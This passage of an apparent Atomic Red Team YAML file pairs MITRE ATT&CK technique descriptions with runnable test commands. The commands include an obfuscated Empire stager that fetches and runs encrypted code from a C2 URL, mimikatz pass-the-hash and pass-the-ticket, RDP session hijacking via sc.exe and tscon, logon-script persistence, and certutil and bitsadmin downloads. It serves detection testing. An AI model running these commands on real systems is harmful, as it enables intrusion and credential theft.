- source_name: Macro Malware Targets Macs
description: Yerko Grbic. (2017, February 14). Macro Malware Targets Macs.
Retrieved July 8, 2017.
url: https://securingtomorrow.mcafee.com/mcafee-labs/macro-malware-targets-macs/
modified: '2019-07-16T19:11:33.411Z'
identifier: T1155
atomic_tests:
- name: AppleScript
description: |
Shell Script with AppleScript
reference
https://github.com/EmpireProject/Empire
supported_platforms:
- macos
executor:
name: sh
command: 'osascript "do shell script "echo \"import sys,base64,warnings;warnings.filterwarnings(''ignore'');exec(base64.b64decode(''aW1wb3J0IHN5cztpbXBvcnQgcmUsIHN1YnByb2Nlc3M7Y21kID0gInBzIC1lZiB8IGdyZXAgTGl0dGxlXCBTbml0Y2ggfCBncmVwIC12IGdyZXAiCnBzID0gc3VicHJvY2Vzcy5Qb3BlbihjbWQsIHNoZWxsPVRydWUsIHN0ZG91dD1zdWJwcm9jZXNzLlBJUEUpCm91dCA9IHBzLnN0ZG91dC5yZWFkKCkKcHMuc3Rkb3V0LmNsb3NlKCkKaWYgcmUuc2VhcmNoKCJMaXR0bGUgU25pdGNoIiwgb3V0KToKICAgc3lzLmV4aXQoKQppbXBvcnQgdXJsbGliMjsKVUE9J01vemlsbGEvNS4wIChXaW5kb3dzIE5UIDYuMTsgV09XNjQ7IFRyaWRlbnQvNy4wOyBydjoxMS4wKSBsaWtlIEdlY2tvJztzZXJ2ZXI9J2h0dHA6Ly8xMjcuMC4wLjE6ODAnO3Q9Jy9sb2dpbi9wcm9jZXNzLnBocCc7cmVxPXVybGxpYjIuUmVxdWVzdChzZXJ2ZXIrdCk7CnJlcS5hZGRfaGVhZGVyKCdVc2VyLUFnZW50JyxVQSk7CnJlcS5hZGRfaGVhZGVyKCdDb29raWUnLCJzZXNzaW9uPXQzVmhWT3MvRHlDY0RURnpJS2FuUnhrdmszST0iKTsKcHJveHkgPSB1cmxsaWIyLlByb3h5SGFuZGxlcigpOwpvID0gdXJsbGliMi5idWlsZF9vcGVuZXIocHJveHkpOwp1cmxsaWIyLmluc3RhbGxfb3BlbmVyKG8pOwphPXVybGxpYjIudXJsb3BlbihyZXEpLnJlYWQoKTsKSVY9YVswOjRdO2RhdGE9YVs0Ol07a2V5PUlWKyc4Yzk0OThmYjg1YmQ1MTE5ZGQ5ODQ4MTJlZTVlOTg5OSc7UyxqLG91dD1yYW5nZSgyNTYpLDAsW10KZm9yIGkgaW4gcmFuZ2UoMjU2KToKICAgIGo9KGorU1tpXStvcmQoa2V5W2klbGVuKGtleSldKSklMjU2CiAgICBTW2ldLFNbal09U1tqXSxTW2ldCmk9aj0wCmZvciBjaGFyIGluIGRhdGE6CiAgICBpPShpKzEpJTI1NgogICAgaj0oaitTW2ldKSUyNTYKICAgIFNbaV0sU1tqXT1TW2pdLFNbaV0KICAgIG91dC5hcHBlbmQoY2hyKG9yZChjaGFyKV5TWyhTW2ldK1Nbal0pJTI1Nl0pKQpleGVjKCcnLmpvaW4ob3V0KSkK''));\"
| python &""
'
'':
technique:
x_mitre_data_sources:
- Authentication logs
- Office 365 account logs
name: Web Session Cookie
description: "Adversaries can use stolen session cookies to authenticate to
web applications and services. This technique bypasses some multi-factor authentication
protocols since the session is already authenticated.(Citation: Pass The Cookie)\n\nAuthentication
cookies are commonly used in web applications, including cloud-based services,
after a user has authenticated to the service so credentials are not passed
and re-authentication does not need to occur as frequently. Cookies are often
valid for an extended period of time, even if the web application is not actively
used. After the cookie is obtained through [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539),
the adversary then imports the cookie into a browser they control and is able
to use the site or application as the user for as long as the session cookie
is active. Once logged into the site, an adversary can access sensitive information,
read email, or perform actions that the victim account has permissions to
perform.\n\nThere have been examples of malware targeting session cookies
to bypass multi-factor authentication systems.(Citation: Unit 42 Mac Crypto
Cookies January 2019) "
id: attack-pattern--c5e31fb5-fcbd-48a4-af8c-5a6ed5b932e5
modified: '2019-10-17T13:21:27.306Z'
x_mitre_platforms:
- Office 365
- SaaS
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
type: attack-pattern
x_mitre_detection: Monitor for anomalous access of websites and cloud-based
applications by the same user in different locations or by different systems
that do not match expected configurations.
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_contributors:
- Johann Rehberger
created: '2019-10-08T20:08:56.205Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: defense-evasion
- kill_chain_name: mitre-attack
phase_name: lateral-movement
external_references:
- external_id: T1506
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1506
- source_name: Pass The Cookie
description: Rehberger, J. (2018, December). Pivot to the Cloud using Pass
the Cookie. Retrieved April 5, 2019.
url: https://wunderwuzzi23.github.io/blog/passthecookie.html
- description: Chen, Y., Hu, W., Xu, Z., et. al.. (2019, January 31). Mac Malware
Steals Cryptocurrency Exchanges’ Cookies. Retrieved October 14, 2019.
source_name: Unit 42 Mac Crypto Cookies January 2019
url: https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/
x_mitre_defense_bypassed:
- Logon Credentials
- Multi-Factor Authentication
atomic_tests: []
T1037:
technique:
x_mitre_data_sources:
- File monitoring
- Process monitoring
type: attack-pattern
name: Logon Scripts
description: |-
### Windows
Windows allows logon scripts to be run whenever a specific user or group of users log into a system. (Citation: TechNet Logon Scripts) The scripts can be used to perform administrative functions, which may often execute other programs or send information to an internal logging server.
If adversaries can access these scripts, they may insert additional code into the logon script to execute their tools when a user logs in. This code can allow them to maintain persistence on a single system, if it is a local script, or to move laterally within a network, if the script is stored on a central server and pushed to many systems. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary.
### Mac
Mac allows login and logoff hooks to be run as root whenever a specific user logs into or out of a system. A login hook tells Mac OS X to execute a certain script when a user logs in, but unlike startup items, a login hook executes as root (Citation: creating login hook). There can only be one login hook at a time though. If adversaries can access these scripts, they can insert additional code to the script to execute their tools when a user logs in.
id: attack-pattern--03259939-0b57-482f-8eb5-87c0e0d54334
x_mitre_platforms:
- macOS
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
x_mitre_system_requirements:
- Write access to system or domain logon scripts
x_mitre_detection: Monitor logon scripts for unusual access by abnormal users
or at abnormal times. Look for files added or modified by unusual accounts
outside of normal administration duties.
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
created: '2017-05-31T21:30:38.910Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: lateral-movement
- kill_chain_name: mitre-attack
phase_name: persistence
external_references:
- external_id: T1037
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1037
- source_name: capec
external_id: CAPEC-564
url: https://capec.mitre.org/data/definitions/564.html
- source_name: TechNet Logon Scripts
description: Microsoft. (2005, January 21). Creating logon scripts. Retrieved
April 27, 2016.
url: https://technet.microsoft.com/en-us/library/cc758918(v=ws.10).aspx
- source_name: creating login hook
description: 'Apple. (2011, June 1). Mac OS X: Creating a login hook. Retrieved
July 17, 2017.'
url: https://support.apple.com/de-at/HT2420
modified: '2019-06-24T14:22:07.921Z'
identifier: T1037
atomic_tests:
- name: Logon Scripts
description: 'Added Via Reg.exe
'
supported_platforms:
- windows
input_arguments:
script_command:
description: Command To Execute
type: String
default: cmd.exe /c calc.exe
executor:
name: command_prompt
elevation_required: false
command: 'REG.exe ADD HKCU\Environment /v UserInitMprLogonScript /t REG_MULTI_SZ
/d "#{script_command}"
'
cleanup_command: 'REG.exe DELETE HKCU\Environment /v UserInitMprLogonScript
/f
'
- name: Logon Scripts - Mac
description: 'Mac logon script
'
supported_platforms:
- macos
executor:
name: manual
steps: "1. Create the required plist file\n\n sudo touch /private/var/root/Library/Preferences/com.apple.loginwindow.plist\n\n2.
Populate the plist with the location of your shell script\n\n sudo defaults
write com.apple.loginwindow LoginHook /Library/Scripts/AtomicRedTeam.sh\n\n3.
Create the required plist file in the target user's Preferences directory\n\n\t
\ touch /Users/$USER/Library/Preferences/com.apple.loginwindow.plist\n\n4.
Populate the plist with the location of your shell script\n\n\t defaults
write com.apple.loginwindow LoginHook /Library/Scripts/AtomicRedTeam.sh\n"
T1075:
technique:
x_mitre_data_sources:
- Authentication logs
type: attack-pattern
name: Pass the Hash
description: "Pass the hash (PtH) is a method of authenticating as a user without
having access to the user's cleartext password. This method bypasses standard
authentication steps that require a cleartext password, moving directly into
the portion of the authentication that uses the password hash. In this technique,
valid password hashes for the account being used are captured using a Credential
Access technique. Captured hashes are used with PtH to authenticate as that
user. Once authenticated, PtH may be used to perform actions on local or remote
systems. \n\nWindows 7 and higher with KB2871997 require valid domain user
credentials or RID 500 administrator hashes. (Citation: NSA Spotting)"
id: attack-pattern--c23b740b-a42b-47a1-aec2-9d48ddd547ff
x_mitre_platforms:
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
x_mitre_system_requirements:
- Requires Microsoft Windows as target system
x_mitre_detection: Audit all logon and credential use events and review for
discrepancies. Unusual remote logins that correlate with other suspicious
activity (such as writing and executing binaries) may indicate malicious activity.
NTLM LogonType 3 authentications that are not associated to a domain login
and are not anonymous logins are suspicious.
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_contributors:
- Travis Smith, Tripwire
created: '2017-05-31T21:30:59.339Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: lateral-movement
external_references:
- external_id: T1075
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1075
- source_name: capec
external_id: CAPEC-644
url: https://capec.mitre.org/data/definitions/644.html
- source_name: NSA Spotting
description: National Security Agency/Central Security Service Information
Assurance Directorate. (2015, August 7). Spotting the Adversary with Windows
Event Log Monitoring. Retrieved September 6, 2018.
url: https://www.iad.gov/iad/library/reports/spotting-the-adversary-with-windows-event-log-monitoring.cfm
modified: '2019-07-18T16:56:39.990Z'
identifier: T1075
atomic_tests:
- name: Mimikatz Pass the Hash
description: |
Note: must dump hashes first
[Reference](https://github.com/gentilkiwi/mimikatz/wiki/module-~-sekurlsa#pth)
supported_platforms:
- windows
input_arguments:
user_name:
description: username
type: string
default: Administrator
domain:
description: domain
type: string
default: atomic.local
ntlm:
description: ntlm hash
type: string
default: cc36cf7a8514893efccd3324464tkg1a
executor:
name: command_prompt
command: 'mimikatz # sekurlsa::pth /user:#{user_name} /domain:#{domain} /ntlm:#{ntlm}
'
T1097:
technique:
x_mitre_data_sources:
- Authentication logs
type: attack-pattern
name: Pass the Ticket
description: |-
Pass the ticket (PtT) is a method of authenticating to a system using Kerberos tickets without having access to an account's password. Kerberos authentication can be used as the first step to lateral movement to a remote system.
In this technique, valid Kerberos tickets for [Valid Accounts](https://attack.mitre.org/techniques/T1078) are captured by [Credential Dumping](https://attack.mitre.org/techniques/T1003). A user's service tickets or ticket granting ticket (TGT) may be obtained, depending on the level of access. A service ticket allows for access to a particular resource, whereas a TGT can be used to request service tickets from the Ticket Granting Service (TGS) to access any resource the user has privileges to access. (Citation: ADSecurity AD Kerberos Attacks) (Citation: GentilKiwi Pass the Ticket)
Silver Tickets can be obtained for services that use Kerberos as an authentication mechanism and are used to generate tickets to access that particular resource and the system that hosts the resource (e.g., SharePoint). (Citation: ADSecurity AD Kerberos Attacks)
Golden Tickets can be obtained for the domain using the Key Distribution Service account KRBTGT account NTLM hash, which enables generation of TGTs for any account in Active Directory. (Citation: Campbell 2014)
id: attack-pattern--a257ed11-ff3b-4216-8c9d-3938ef57064c
x_mitre_platforms:
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
x_mitre_system_requirements:
- Requires Microsoft Windows as a target system and Kerberos authentication
enabled.
x_mitre_detection: |-
Audit all Kerberos authentication and credential use events and review for discrepancies. Unusual remote authentication events that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity.
Event ID 4769 is generated on the Domain Controller when using a golden ticket after the KRBTGT password has been reset twice, as mentioned in the mitigation section. The status code 0x1F indicates the action has failed due to "Integrity check on decrypted field failed" and indicates misuse by a previously invalidated golden ticket. (Citation: CERT-EU Golden Ticket Protection)
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_contributors:
- Ryan Becwar
- Vincent Le Toux
created: '2017-05-31T21:31:11.623Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: lateral-movement
external_references:
- external_id: T1097
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1097
- source_name: capec
external_id: CAPEC-645
url: https://capec.mitre.org/data/definitions/645.html
- source_name: ADSecurity AD Kerberos Attacks
description: Metcalf, S. (2014, November 22). Mimikatz and Active Directory
Kerberos Attacks. Retrieved June 2, 2016.
url: https://adsecurity.org/?p=556
- source_name: GentilKiwi Pass the Ticket
description: Deply, B. (2014, January 13). Pass the ticket. Retrieved June
2, 2016.
url: http://blog.gentilkiwi.com/securite/mimikatz/pass-the-ticket-kerberos
- source_name: Campbell 2014
description: Campbell, C. (2014). The Secret Life of Krbtgt. Retrieved December
4, 2014.
url: http://defcon.org/images/defcon-22/dc-22-presentations/Campbell/DEFCON-22-Christopher-Campbell-The-Secret-Life-of-Krbtgt.pdf
- source_name: CERT-EU Golden Ticket Protection
description: Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016,
April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017.
url: https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf
modified: '2019-07-18T16:59:03.741Z'
identifier: T1097
atomic_tests:
- name: Mimikatz Kerberos Ticket Attack
description: 'Similar to PTH, but attacking Kerberos
'
supported_platforms:
- windows
input_arguments:
user_name:
description: username
type: string
default: Administrator
domain:
description: domain
type: string
default: atomic.local
executor:
name: command_prompt
command: 'mimikatz # kerberos::ptt #{user_name}@#{domain}
'
T1076:
technique:
x_mitre_permissions_required:
- Remote Desktop Users
- User
x_mitre_data_sources:
- Authentication logs
- Netflow/Enclave netflow
- Process monitoring
name: Remote Desktop Protocol
description: |-
Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS). (Citation: TechNet Remote Desktop Services) There are other implementations and third-party tools that provide graphical access [Remote Services](https://attack.mitre.org/techniques/T1021) similar to RDS.
Adversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials. Adversaries will likely use Credential Access techniques to acquire credentials to use with RDP. Adversaries may also use RDP in conjunction with the [Accessibility Features](https://attack.mitre.org/techniques/T1015) technique for Persistence. (Citation: Alperovitch Malware)
Adversaries may also perform RDP session hijacking which involves stealing a legitimate user's remote session. Typically, a user is notified when someone else is trying to steal their session and prompted with a question. With System permissions and using Terminal Services Console, c:\windows\system32\tscon.exe [session number to be stolen], an adversary can hijack a session without the need for credentials or prompts to the user. (Citation: RDP Hijacking Korznikov) This can be done remotely or locally and with active or disconnected sessions. (Citation: RDP Hijacking Medium) It can also lead to [Remote System Discovery](https://attack.mitre.org/techniques/T1018) and Privilege Escalation by stealing a Domain Admin or higher privileged account session. All of this can be done by using native Windows commands, but it has also been added as a feature in RedSnarf. (Citation: Kali Redsnarf)
id: attack-pattern--51dea151-0898-4a45-967c-3ebee0420484
x_mitre_platforms:
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
x_mitre_system_requirements:
- RDP service enabled, account in the Remote Desktop Users group.
type: attack-pattern
x_mitre_detection: |-
Use of RDP may be legitimate, depending on the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with RDP. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time.
Also, set up process monitoring for tscon.exe usage and monitor service creation that uses cmd.exe /k or cmd.exe /c in its arguments to prevent RDP session hijacking.
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_contributors:
- Matthew Demaske, Adaptforward
created: '2017-05-31T21:30:59.769Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: lateral-movement
external_references:
- external_id: T1076
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1076
- source_name: capec
external_id: CAPEC-555
url: https://capec.mitre.org/data/definitions/555.html
- source_name: TechNet Remote Desktop Services
description: Microsoft. (n.d.). Remote Desktop Services. Retrieved June 1,
2016.
url: https://technet.microsoft.com/en-us/windowsserver/ee236407.aspx
- source_name: Alperovitch Malware
description: Alperovitch, D. (2014, October 31). Malware-Free Intrusions.
Retrieved November 4, 2014.
url: http://blog.crowdstrike.com/adversary-tricks-crowdstrike-treats/
- source_name: RDP Hijacking Korznikov
description: Korznikov, A. (2017, March 17). Passwordless RDP Session Hijacking
Feature All Windows versions. Retrieved December 11, 2017.
url: http://www.korznikov.com/2017/03/0-day-or-feature-privilege-escalation.html
- source_name: RDP Hijacking Medium
description: Beaumont, K. (2017, March 19). RDP hijacking — how to hijack
RDS and RemoteApp sessions transparently to move through an organisation.
Retrieved December 11, 2017.
url: https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6
- source_name: Kali Redsnarf
description: NCC Group PLC. (2016, November 1). Kali Redsnarf. Retrieved December
11, 2017.
url: https://github.com/nccgroup/redsnarf
modified: '2019-07-18T17:46:11.999Z'
identifier: T1076
atomic_tests:
- name: RDP
description: 'RDP hijacking](https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6)
- how to hijack RDS and RemoteApp sessions transparently to move through an
organization
'
supported_platforms:
- windows
executor:
name: command_prompt
elevation_required: true
command: |
query user
sc.exe create sesshijack binpath= "cmd.exe /k tscon 1337 /dest:rdp-tcp#55"
net start sesshijack
sc.exe delete sesshijack
- name: RDPto-DomainController
description: 'Attempt an RDP session via "Connect-RDP" to a system. Default
RDPs to (%logonserver%) as the current user
'
supported_platforms:
- windows
input_arguments:
logonserver:
description: ComputerName argument default %logonserver%
type: String
default: $ENV:logonserver.TrimStart("\")
username:
description: Username argument default %USERDOMAIN%\%username%
type: String
default: "$Env:USERDOMAIN\\$ENV:USERNAME"
executor:
name: powershell
elevation_required: false
prereq_command: 'if((Get-WmiObject -Class Win32_ComputerSystem).PartOfDomain)
{0} else {1}
'
command: 'Connect-RDP -ComputerName #{logonserver} -User #{username}
'
T1105:
technique:
x_mitre_data_sources:
- File monitoring
- Packet capture
- Process use of network
- Netflow/Enclave netflow
- Network protocol analysis
- Process monitoring
x_mitre_permissions_required:
- User
name: Remote File Copy
description: |-
Files may be copied from one system to another to stage adversary tools or other files over the course of an operation. Files may be copied from an external adversary-controlled system through the Command and Control channel to bring tools into the victim network or through alternate protocols with another tool such as [FTP](https://attack.mitre.org/software/S0095). Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Adversaries may also copy files laterally between internal victim systems to support Lateral Movement with remote Execution using inherent file sharing protocols such as file sharing over SMB to connected network shares or with authenticated connections with [Windows Admin Shares](https://attack.mitre.org/techniques/T1077) or [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1076).
id: attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add
x_mitre_platforms:
- Linux
- macOS
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
type: attack-pattern
x_mitre_detection: |-
Monitor for file creation and files transferred within a network over SMB. Unusual processes with external network connections creating files on-system may be suspicious. Use of utilities, such as FTP, that does not normally occur may also be suspicious.
Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_network_requirements: true
created: '2017-05-31T21:31:16.408Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: command-and-control
- kill_chain_name: mitre-attack
phase_name: lateral-movement
external_references:
- external_id: T1105
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1105
- source_name: University of Birmingham C2
description: Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command
& Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
modified: '2019-07-18T17:47:57.120Z'
identifier: T1105
atomic_tests:
- name: rsync remote file copy (push)
description: 'Utilize rsync to perform a remote file copy (push)
'
supported_platforms:
- linux
- macos
input_arguments:
local_path:
description: Path of folder to copy
type: Path
default: "/tmp/adversary-rsync/"
username:
description: User account to authenticate on remote host
type: String
default: victim
remote_host:
description: Remote host to copy toward
type: String
default: victim-host
remote_path:
description: Remote path to receive rsync
type: Path
default: "/tmp/victim-files"
executor:
name: bash
command: 'rsync -r #{local_path} #{username}@#{remote_host}:#{remote_path}
'
- name: rsync remote file copy (pull)
description: 'Utilize rsync to perform a remote file copy (pull)
'
supported_platforms:
- linux
- macos
input_arguments:
remote_path:
description: Path of folder to copy
type: Path
default: "/tmp/adversary-rsync/"
username:
description: User account to authenticate on remote host
type: String
default: adversary
remote_host:
description: Remote host to copy from
type: String
default: adversary-host
local_path:
description: Local path to receive rsync
type: Path
default: "/tmp/victim-files"
executor:
name: bash
command: 'rsync -r #{username}@#{remote_host}:#{remote_path} #{local_path}
'
- name: scp remote file copy (push)
description: 'Utilize scp to perform a remote file copy (push)
'
supported_platforms:
- linux
- macos
input_arguments:
local_file:
description: Path of file to copy
type: Path
default: "/tmp/adversary-scp"
username:
description: User account to authenticate on remote host
type: String
default: victim
remote_host:
description: Remote host to copy toward
type: String
default: victim-host
remote_path:
description: Remote path to receive scp
type: Path
default: "/tmp/victim-files/"
executor:
name: bash
command: 'scp #{local_file} #{username}@#{remote_host}:#{remote_path}
'
- name: scp remote file copy (pull)
description: 'Utilize scp to perform a remote file copy (pull)
'
supported_platforms:
- linux
- macos
input_arguments:
remote_file:
description: Path of file to copy
type: Path
default: "/tmp/adversary-scp"
username:
description: User account to authenticate on remote host
type: String
default: adversary
remote_host:
description: Remote host to copy from
type: String
default: adversary-host
local_path:
description: Local path to receive scp
type: Path
default: "/tmp/victim-files/"
executor:
name: bash
command: 'scp #{username}@#{remote_host}:#{remote_file} #{local_path}
'
- name: sftp remote file copy (push)
description: 'Utilize sftp to perform a remote file copy (push)
'
supported_platforms:
- linux
- macos
input_arguments:
local_file:
description: Path of file to copy
type: Path
default: "/tmp/adversary-sftp"
username:
description: User account to authenticate on remote host
type: String
default: victim
remote_host:
description: Remote host to copy toward
type: String
default: victim-host
remote_path:
description: Remote path to receive sftp
type: Path
default: "/tmp/victim-files/"
executor:
name: bash
command: 'sftp #{username}@#{remote_host}:#{remote_path} <<< $''put #{local_file}''
'
- name: sftp remote file copy (pull)
description: 'Utilize sftp to perform a remote file copy (pull)
'
supported_platforms:
- linux
- macos
input_arguments:
remote_file:
description: Path of file to copy
type: Path
default: "/tmp/adversary-sftp"
username:
description: User account to authenticate on remote host
type: String
default: adversary
remote_host:
description: Remote host to copy from
type: String
default: adversary-host
local_path:
description: Local path to receive sftp
type: Path
default: "/tmp/victim-files/"
executor:
name: bash
command: 'sftp #{username}@#{remote_host}:#{remote_file} #{local_path}
'
- name: certutil download (urlcache)
description: 'Use certutil -urlcache argument to download a file from the web.
Note - /urlcache also works!
'
supported_platforms:
- windows
input_arguments:
remote_file:
description: URL of file to copy
type: Url
default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/LICENSE.txt
local_path:
description: Local path to place file
type: Path
default: Atomic-license.txt
executor:
name: command_prompt
elevation_required: false
command: 'cmd /c certutil -urlcache -split -f #{remote_file} #{local_path}
'
- name: certutil download (verifyctl)
description: 'Use certutil -verifyctl argument to download a file from the web.
Note - /verifyctl also works!
'
supported_platforms:
- windows
input_arguments:
remote_file:
description: URL of file to copy
type: Url
default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/LICENSE.txt
local_path:
description: Local path to place file
type: Path
default: Atomic-license.txt
executor:
name: powershell
elevation_required: false
command: |
$datePath = "certutil-$(Get-Date -format yyyy_MM_dd_HH_mm)"
New-Item -Path $datePath -ItemType Directory
Set-Location $datePath
certutil -verifyctl -split -f #{remote_file}
Get-ChildItem | Where-Object {$_.Name -notlike "*.txt"} | Foreach-Object { Move-Item $_.Name -Destination #{local_path} }
- name: Windows - BITSAdmin BITS Download
description: |
This test uses BITSAdmin.exe to schedule a BITS job for the download of a file.
This technique is used by Qbot malware to download payloads.
supported_platforms:
- windows
input_arguments:
bits_job_name:
description: Name of the created BITS job
type: String
default: qcxjb7
remote_file:
description: URL of file to copy
type: Url
default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/LICENSE.txt
local_path:
description: Local path to place file
type: Path
default: Atomic-license.txt
executor:
name: command_prompt
command: 'C:\Windows\System32\bitsadmin.exe /transfer #{bits_job_name} /Priority
HIGH #{remote_file} #{local_path}'
T1077:
technique:
x_mitre_permissions_required:
- Administrator
x_mitre_data_sources:
- Process use of network
- Authentication logs
- Process monitoring
- Process command-line parameters
name: Windows Admin Shares
description: "Windows systems have hidden network shares that are accessible
only to administrators and provide the ability for remote file copy and other
administrative functions. Example network shares include C$,
ADMIN$, and IPC$. \n\nAdversaries may use this technique
in conjunction with administrator-level [Valid Accounts](https://attack.mitre.org/techniques/T1078)
to remotely access a networked system over server message block (SMB) (Citation:
Wikipedia SMB) to interact with systems using remote procedure calls (RPCs),
(Citation: TechNet RPC) transfer files, and run transferred binaries through
remote Execution. Example execution techniques that rely on authenticated
sessions over SMB/RPC are [Scheduled Task](https://attack.mitre.org/techniques/T1053),
[Service Execution](https://attack.mitre.org/techniques/T1035), and [Windows
Management Instrumentation](https://attack.mitre.org/techniques/T1047). Adversaries
can also use NTLM hashes to access administrator shares on systems with [Pass
the Hash](https://attack.mitre.org/techniques/T1075) and certain configuration
and patch levels. (Citation: Microsoft Admin Shares)\n\nThe [Net](https://attack.mitre.org/software/S0039)
utility can be used to connect to Windows admin shares on remote systems using
net use commands with valid credentials. (Citation: Technet Net
Use)"
id: attack-pattern--ffe742ed-9100-4686-9e00-c331da544787
x_mitre_platforms:
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.1'
x_mitre_system_requirements:
- |-
File and printer sharing over SMB enabled.
Host/network firewalls not blocking SMB ports between source and destination.
Use of domain account in administrator group on remote system or default system admin account.
type: attack-pattern
x_mitre_detection: 'Ensure that proper logging of accounts used to log into
systems is turned on and centrally collected. Windows logging is able to collect
success/failure for accounts that may be used to move laterally and can be
collected using tools such as Windows Event Forwarding. (Citation: Lateral
Movement Payne) (Citation: Windows Event Forwarding Payne) Monitor remote
login events and associated SMB activity for file transfers and remote process
execution. Monitor the actions of remote users who connect to administrative
shares. Monitor for use of tools and commands to connect to remote shares,
such as [Net](https://attack.mitre.org/software/S0039), on the command-line
interface and Discovery techniques that could be used to find remotely accessible
systems.(Citation: Medium Detecting Lateral Movement)'
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
created: '2017-05-31T21:31:00.200Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: lateral-movement
external_references:
- external_id: T1077
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1077
- source_name: capec
external_id: CAPEC-561
url: https://capec.mitre.org/data/definitions/561.html
- source_name: Wikipedia SMB
description: Wikipedia. (2016, June 12). Server Message Block. Retrieved June
12, 2016.
url: https://en.wikipedia.org/wiki/Server_Message_Block
- source_name: TechNet RPC
description: Microsoft. (2003, March 28). What Is RPC?. Retrieved June 12,
2016.
url: https://technet.microsoft.com/en-us/library/cc787851.aspx
- source_name: Microsoft Admin Shares
description: Microsoft. (n.d.). How to create and delete hidden or administrative
shares on client computers. Retrieved November 20, 2014.
url: http://support.microsoft.com/kb/314984
- source_name: Technet Net Use
description: Microsoft. (n.d.). Net Use. Retrieved November 25, 2016.
url: https://technet.microsoft.com/bb490717.aspx
- description: Payne, J. (2015, November 26). Tracking Lateral Movement Part
One - Special Groups and Specific Service Accounts. Retrieved February 1,
2016.
source_name: Lateral Movement Payne
url: http://blogs.technet.com/b/jepayne/archive/2015/11/27/tracking-lateral-movement-part-one-special-groups-and-specific-service-accounts.aspx
- source_name: Windows Event Forwarding Payne
description: Payne, J. (2015, November 23). Monitoring what matters - Windows
Event Forwarding for everyone (even if you already have a SIEM.). Retrieved
February 1, 2016.
url: http://blogs.technet.com/b/jepayne/archive/2015/11/24/monitoring-what-matters-windows-event-forwarding-for-everyone-even-if-you-already-have-a-siem.aspx
- description: French, D. (2018, September 30). Detecting Lateral Movement Using
Sysmon and Splunk. Retrieved October 11, 2019.
source_name: Medium Detecting Lateral Movement
url: https://medium.com/threatpunter/detecting-lateral-movement-using-sysmon-and-splunk-318d3be141bc
modified: '2019-10-15T18:45:27.715Z'
identifier: T1077
atomic_tests:
- name: Map admin share
description: 'Connecting To Remote Shares
'
supported_platforms:
- windows
input_arguments:
share_name:
description: Examples C$, IPC$, Admin$
type: String
default: C$
user_name:
description: Username
type: String
default: DOMAIN\Administrator
password:
description: Password
type: String
default: P@ssw0rd1
computer_name:
description: Target Computer Name
type: String
default: Target
executor:
name: command_prompt
elevation_required: false
